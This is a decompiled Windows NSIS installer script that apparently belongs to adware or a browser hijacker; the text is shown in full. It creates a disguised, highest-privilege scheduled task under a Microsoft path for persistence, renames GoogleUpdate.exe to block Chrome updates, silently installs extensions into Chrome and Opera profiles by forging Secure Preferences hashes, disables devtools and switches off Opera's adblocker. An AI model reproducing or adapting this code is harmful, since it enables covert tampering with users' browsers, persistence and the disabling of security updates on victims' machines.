CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\SafeBrowser$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\extsetuponce$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\extsetuponce$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\extsetuponce$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\extsetuponce$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack StrCmp $_153_ extsetup label_6133 nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\extsetup$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\extsetup$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"\Microsoft\Windows\extsetup$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"\Microsoft\Windows\extsetup$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_6133: Delete /REBOOTOK $EXEDIR\rsext Call func_6165 StrCmp $_31_ 1 label_6163 StrCpy $7 1 nsExec::ExecToStack "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$\" /sc daily /mo 3 /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --setresetup$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /create /rl highest /RU $\"$_107_$\" /tn $\"\Microsoft\$_153_$\" /sc daily /mo 3 /tr $\"$\"$\"$\"$EXEPATH$\"$\"$\"/S --setresetup$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Pop $7 nsExec::Exec "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$\" > $PLUGINSDIR\TaskES.xml" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k schtasks /query /xml /tn $\"\Microsoft\$_153_$\" > $PLUGINSDIR\TaskES.xml" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec IfFileExists $PLUGINSDIR\TaskES.xml 0 label_6163 Push $0 Push $PLUGINSDIR\TaskES.xml Push "" Push 1:-1 StrCpy $0 12052 Push $0 Call :label_4862 Pop $0 nsExec::ExecToStack "schtasks /create /tn $\"\Microsoft\Windows\$_153_$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /create /tn $\"\Microsoft\Windows\$_153_$\" /xml $\"$PLUGINSDIR\TaskES.xml$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete $PLUGINSDIR\TaskES.xml label_6163: Quit FunctionEnd Function func_6165 IntOp $R8 $R8 + 1 ClearErrors WriteINIStr $EXEDIR\log log sn $R8 IfErrors 0 label_6173 FileOpen $5 $EXEDIR\log w FileWrite $5 [log]$\r$\n FileWrite $5 sn=$R8 FileClose $5 label_6173: FunctionEnd Function func_6174 Call func_12622 ClearErrors ReadRegStr $9 HKLM SOFTWARE\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} ap IfErrors label_6179 StrCmp $9 multi-chrome label_6180 label_6179: WriteRegStr HKLM SOFTWARE\Google\Update\ClientState\{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} ap multi-chrome label_6180: ClearErrors ReadRegStr $9 HKLM SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96} ap IfErrors label_6184 StrCmp $9 multi-chrome label_6185 label_6184: WriteRegStr HKLM SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96} ap multi-chrome label_6185: IfFileExists $PROGRAMFILES\Google\Update\GoogleUpdate.exe 0 label_6187 Rename /REBOOTOK $PROGRAMFILES\Google\Update\GoogleUpdate.exe $PROGRAMFILES\Google\Update\GoogleUpdàtå.exe ; $PROGRAMFILES\Google\Update\GoogleUpdate.exe->$PROGRAMFILES\Google\Update\GoogleUpdàtå.exe label_6187: IfFileExists "$_24_\Secure Preferences" label_6262 StrCpy $_38_ 1 IfFileExists $_24_\Preferences 0 label_6494 CopyFiles /SILENT $_24_\Preferences $_24_\Preferences-install ; $(LSTR_7)$_24_\Preferences-install ; "Copy to " StrCpy $_30_ $_24_\Preferences-install ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get browser /end ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push browser ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_6233 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_6233: ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_6256 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_6256: Call func_13286 Delete $_24_\Preferences CopyFiles /SILENT $_24_\Preferences-install $_24_\Preferences ; $(LSTR_7)$_24_\Preferences ; "Copy to " Delete /REBOOTOK $_24_\Preferences-install RMDir /r /REBOOTOK "$_24_\Sync Data Backup" Goto label_6494 label_6262: Delete "$_24_\Secure Preferences-install" CopyFiles /SILENT "$_24_\Secure Preferences" "$_24_\Secure Preferences-install" ; "$(LSTR_7)$_24_\Secure Preferences-install" ; "Copy to " StrCpy $_30_ "$_24_\Secure Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_6306 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_6306: Call func_11125 IfFileExists $_24_\Extensions\$_51_ 0 label_6309 RMDir /r $_24_\Extensions\$_51_ label_6309: StrCmp $_63_ "" 0 label_6312 Call func_4709 Pop $_63_ label_6312: StrCmp $_60_ "" 0 label_6327 ALPHAGHAMI::GHASH $_55_ $_63_ $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Call Initialize_____Plugins ; AllowSkipFiles on ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Push $_72_ ; Push $_71_ ; Push $_70_ ; Push $_69_ ; Push $_68_ ; Push $_67_ ; Push $_63_ ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_60_ label_6327: Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push $_60_ Call func_11497 nsisunz::Unzip $PLUGINSDIR\sl.zip $_24_\Extensions\$_51_\$_54_ ; Call Initialize_____Plugins ; AllowSkipFiles off ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_24_\Extensions\$_51_\$_54_ ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6342 Delete $_24_\Extensions\$_51_\$_54_\img\48.png IfFileExists $_24_\Extensions\$_51_\$_54_\img\48.png label_6342 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png $_24_\Extensions\$_51_\$_54_\img\48.png ; $(LSTR_7)$_24_\Extensions\$_51_\$_54_\img\48.png ; "Copy to " label_6342: StrCpy $_45_ $_24_\Extensions\$_51_\$_54_ Call func_12133 StrCmp 1 1 0 label_6380 ClearErrors ReadINIStr $1 $EXEDIR\le LE NTSS IfErrors 0 label_6380 Call func_11290 IfFileExists $_24_\Extensions\$_138_ 0 label_6351 RMDir /r $_24_\Extensions\$_138_ label_6351: StrCmp $_141_ "" 0 label_6366 ALPHAGHAMI::GHASH $_140_ $_63_ $_142_ $_144_ $_145_ $_146_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Push "" ; Push "" ; Push $_146_ ; Push $_145_ ; Push $_144_ ; Push $_142_ ; Push $_63_ ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_141_ label_6366: Push $_30_ Push $_138_ Push $PLUGINSDIR\SecurePreferencesNTCH Push $_141_ Call func_11497 nsisunz::Unzip $PLUGINSDIR\nt.zip $_24_\Extensions\$_138_\$_139_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push $_24_\Extensions\$_138_\$_139_ ; Push $PLUGINSDIR\nt.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ $_24_\Extensions\$_138_\$_139_ Call func_12459 StrCpy $_151_ 1 label_6380: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEDJN IfErrors 0 label_6415 StrCmp $_86_ "" 0 label_6386 Push DJN Call func_11441 label_6386: IfFileExists $_24_\Extensions\$_83_ 0 label_6388 RMDir /r $_24_\Extensions\$_83_ label_6388: StrCmp $_77_ "" 0 label_6403 ALPHAGHAMI::GHASH $_85_ $_63_ $_86_ $_87_ $_88_ $_89_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Push "" ; Push "" ; Push $_89_ ; Push $_88_ ; Push $_87_ ; Push $_86_ ; Push $_63_ ; Push $_85_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_77_ label_6403: IfFileExists $_24_\Extensions\$_83_\$_84_ label_6405 CreateDirectory $_24_\Extensions\$_83_\$_84_ label_6405: IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_6407 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png $_24_\Extensions\$_83_\$_84_\128.png ; $(LSTR_7)$_24_\Extensions\$_83_\$_84_\128.png ; "Copy to " label_6407: Push $_30_ Push $_83_ Push $PLUGINSDIR\SecurePreferencesWSEDJN Push $_77_ Call func_11497 StrCpy $_45_ $_24_\Extensions\$_83_\$_84_ Call func_12494 StrCpy $_81_ 1 label_6415: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEBAP IfErrors 0 label_6450 StrCmp $_93_ "" 0 label_6421 Push BAP Call func_11441 label_6421: IfFileExists $_24_\Extensions\$_90_ 0 label_6423 RMDir /r $_24_\Extensions\$_90_ label_6423: StrCmp $_78_ "" 0 label_6438 ALPHAGHAMI::GHASH $_91_ $_63_ $_93_ $_94_ $_95_ $_96_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Push "" ; Push "" ; Push $_96_ ; Push $_95_ ; Push $_94_ ; Push $_93_ ; Push $_63_ ; Push $_91_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_78_ label_6438: IfFileExists $_24_\Extensions\$_90_\$_92_ label_6440 CreateDirectory $_24_\Extensions\$_90_\$_92_ label_6440: IfFileExists $PLUGINSDIR\CRXIMG\GDE.png 0 label_6442 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDE.png $_24_\Extensions\$_90_\$_92_\128.png ; $(LSTR_7)$_24_\Extensions\$_90_\$_92_\128.png ; "Copy to " label_6442: Push $_30_ Push $_90_ Push $PLUGINSDIR\SecurePreferencesWSEBAP Push $_78_ Call func_11497 StrCpy $_45_ $_24_\Extensions\$_90_\$_92_ Call func_12494 StrCpy $_82_ 1 label_6450: StrCpy $_47_ $_24_\Bookmarks IfFileExists $_24_\Bookmarks.inst label_6453 Call func_12634 label_6453: Call func_12776 IfFileExists $_24_\Preferences 0 label_6480 Delete $_24_\Preferences-install CopyFiles /SILENT $_24_\Preferences $_24_\Preferences-install ; $(LSTR_7)$_24_\Preferences-install ; "Copy to " ClearErrors nsJSON::Set /file $_24_\Preferences-install ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_24_\Preferences-install ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set devtools disabled /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push disabled ; Push devtools ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_6480 nsJSON::Serialize /format /file $_24_\Preferences-install ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_24_\Preferences-install ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_6480: Call func_13286 Delete "$_24_\Secure Preferences" IfFileExists "$_24_\Secure Preferences" 0 label_6485 RMDir /r $_24_\Extensions\$_51_ Goto label_6494 label_6485: Call func_13286 CopyFiles /SILENT "$_24_\Secure Preferences-install" "$_24_\Secure Preferences" ; "$(LSTR_7)$_24_\Secure Preferences" ; "Copy to " IfFileExists $_24_\Preferences-install 0 label_6492 Call func_13286 Delete $_24_\Preferences CopyFiles /SILENT $_24_\Preferences-install $_24_\Preferences ; $(LSTR_7)$_24_\Preferences ; "Copy to " Delete $_24_\Preferences-install label_6492: Delete /REBOOTOK "$_24_\Secure Preferences-install" RMDir /r /REBOOTOK "$_24_\Sync Data Backup" label_6494: FunctionEnd Function func_6495 WriteRegDWORD HKLM Software\Policies\Google\Update UpdateDefault 0 Call func_12622 Call func_11125 CreateDirectory "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_" nsisunz::Unzip $PLUGINSDIR\sl.zip "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_" ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6509 Delete "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" label_6509 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_\img\48.png" ; "Copy to " label_6509: FileOpen $1 "$LOCALAPPDATA\Google\Chrome\User Data\First Run" w FileWrite $1 "" FileClose $1 FileOpen $1 "$LOCALAPPDATA\Google\Chrome\User Data\Default\Preferences" w FileWrite $1 {$\"devtools$\":{$\"disabled$\":true}} FileClose $1 FileOpen $1 "$LOCALAPPDATA\Google\Chrome\User Data\Default\Secure Preferences" w FileWrite $1 "" FileClose $1 StrCpy $_30_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Secure Preferences" StrCmp $_63_ "" 0 label_6522 Call func_4709 Pop $_63_ label_6522: ALPHAGHAMI::GHASH $_55_ $_63_ $_67_ $_68_ $_69_ $_70_ $_71_ $_72_ E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Push $_72_ ; Push $_71_ ; Push $_70_ ; Push $_69_ ; Push $_68_ ; Push $_67_ ; Push $_63_ ; Push $_55_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push $R8 Call func_11497 StrCpy $_45_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_51_\$_54_" Call func_12133 StrCmp 1 1 0 label_6573 Call func_11290 CreateDirectory "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_" nsisunz::Unzip $PLUGINSDIR\nt.zip "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_" ; Push $PLUGINSDIR\nt.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$_138_\$_139_" Call func_12459 StrCmp $_141_ "" 0 label_6568 ALPHAGHAMI::GHASH $_140_ $_63_ $_142_ $_144_ $_145_ $_146_ "" "" E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Call Initialize_____Plugins ; File $PLUGINSDIR\ALPHAGHAMI.dll ; SetDetailsPrint lastused ; Push E748F336D85EA5F9DCDF25D8F347A65B4CDF667600F02DF6724A2AF18A212D26B788A25086910CF3A90313696871F3DC05823730C91DF8BA5C4FD9C884B505A8 ; Push "" ; Push "" ; Push $_146_ ; Push $_145_ ; Push $_144_ ; Push $_142_ ; Push $_63_ ; Push $_140_ ; CallInstDLL $PLUGINSDIR\ALPHAGHAMI.dll GHASH Pop $_141_ label_6568: Push $_30_ Push $_138_ Push $PLUGINSDIR\SecurePreferencesNT Push $_141_ Call func_11497 label_6573: FunctionEnd Function func_6574 Call func_12622 IfFileExists "$APPDATA\Opera Software\Opera Stable\Preferences-install" 0 label_6577 Delete "$APPDATA\Opera Software\Opera Stable\Preferences-install" label_6577: CopyFiles /SILENT "$APPDATA\Opera Software\Opera Stable\Preferences" "$APPDATA\Opera Software\Opera Stable\Preferences-install" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Preferences-install" ; "Copy to " StrCpy $_30_ "$APPDATA\Opera Software\Opera Stable\Preferences-install" ClearErrors nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Get extensions /end ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push /end ; Push extensions ; CallInstDLL $PLUGINSDIR\nsJSON.dll Get IfErrors label_6620 Call func_9058 Call func_9427 Call func_9497 Call func_9563 Call func_9629 Call func_9695 Call func_9757 Call func_9823 Call func_9889 Call func_9955 Call func_10021 Call func_10087 Call func_10153 Call func_10219 Call func_10285 Call func_10351 Call func_10417 Call func_10483 Call func_10549 Call func_10615 Call func_10681 Call func_10745 Call func_10811 Call func_10877 Call func_10943 Call func_11009 Call func_11075 label_6620: Call func_11125 IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_" 0 label_6623 RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_" label_6623: nsisunz::Unzip $PLUGINSDIR\sl.zip "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" ; Push $PLUGINSDIR\sl.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip IfFileExists $PLUGINSDIR\CRXIMG\48.png 0 label_6633 Delete "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" label_6633 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\48.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_\img\48.png" ; "Copy to " label_6633: StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_51_\$_54_" Call func_12133 Push $_30_ Push $_51_ Push $PLUGINSDIR\SecurePreferences Push 0 Call func_11497 StrCmp 1 1 0 label_6661 ClearErrors ReadINIStr $1 $EXEDIR\le LE NTSS IfErrors 0 label_6661 Call func_11290 IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_" 0 label_6647 RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_" label_6647: nsisunz::Unzip $PLUGINSDIR\nt.zip "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_\$_139_" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsisunz.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_\$_139_" ; Push $PLUGINSDIR\nt.zip ; CallInstDLL $PLUGINSDIR\nsisunz.dll Unzip StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_138_\$_139_" Call func_12459 Push $_30_ Push $_138_ Push $PLUGINSDIR\SecurePreferencesNT Push 0 Call func_11497 StrCpy $_151_ 1 label_6661: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEBAP IfErrors 0 label_6681 StrCmp $_93_ "" 0 label_6667 Push BAP Call func_11441 label_6667: IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_" 0 label_6669 RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_" label_6669: IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_" label_6671 CreateDirectory "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_" label_6671: IfFileExists $PLUGINSDIR\CRXIMG\GDE.png 0 label_6673 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDE.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_\128.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_\128.png" ; "Copy to " label_6673: Push $_30_ Push $_90_ Push $PLUGINSDIR\SecurePreferencesWSEBAP Push 0 Call func_11497 StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_90_\$_92_" Call func_12494 StrCpy $_82_ 1 label_6681: ClearErrors ReadINIStr $1 $EXEDIR\le LE WSEDJN IfErrors 0 label_6701 StrCmp $_86_ "" 0 label_6687 Push DJN Call func_11441 label_6687: IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_" 0 label_6689 RMDir /r "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_" label_6689: IfFileExists "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_" label_6691 CreateDirectory "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_" label_6691: IfFileExists $PLUGINSDIR\CRXIMG\GDO.png 0 label_6693 CopyFiles /SILENT $PLUGINSDIR\CRXIMG\GDO.png "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_\128.png" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_\128.png" ; "Copy to " label_6693: Push $_30_ Push $_83_ Push $PLUGINSDIR\SecurePreferencesWSEDJN Push 0 Call func_11497 StrCpy $_45_ "$APPDATA\Opera Software\Opera Stable\Extensions\$_83_\$_84_" Call func_12494 StrCpy $_81_ 1 label_6701: ClearErrors nsJSON::Set /file "$APPDATA\Opera Software\Opera Stable\Preferences-install" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Preferences-install" ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set adblocker enabled /value false ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push false ; Push /value ; Push enabled ; Push adblocker ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set adblocker whitelist_initialized /value true ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push true ; Push /value ; Push whitelist_initialized ; Push adblocker ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set profile content_settings exceptions ads vk.com,* /value {$\"setting$\":[1,1]} ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push {$\"setting$\":[1,1]} ; Push /value ; Push vk.com,* ; Push ads ; Push exceptions ; Push content_settings ; Push profile ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set nsJSON::Set profile content_settings exceptions ads ok.ru,* /value {$\"setting$\":[1,1]} ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push {$\"setting$\":[1,1]} ; Push /value ; Push ok.ru,* ; Push ads ; Push exceptions ; Push content_settings ; Push profile ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set IfErrors label_6754 nsJSON::Serialize /format /file "$APPDATA\Opera Software\Opera Stable\Preferences-install" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push "$APPDATA\Opera Software\Opera Stable\Preferences-install" ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_6754: Call func_13326 Delete "$APPDATA\Opera Software\Opera Stable\Preferences" IfFileExists "$APPDATA\Opera Software\Opera Stable\Preferences" label_6760 CopyFiles /SILENT "$APPDATA\Opera Software\Opera Stable\Preferences-install" "$APPDATA\Opera Software\Opera Stable\Preferences" ; "$(LSTR_7)$APPDATA\Opera Software\Opera Stable\Preferences" ; "Copy to " Delete "$APPDATA\Opera Software\Opera Stable\Preferences-install" Goto 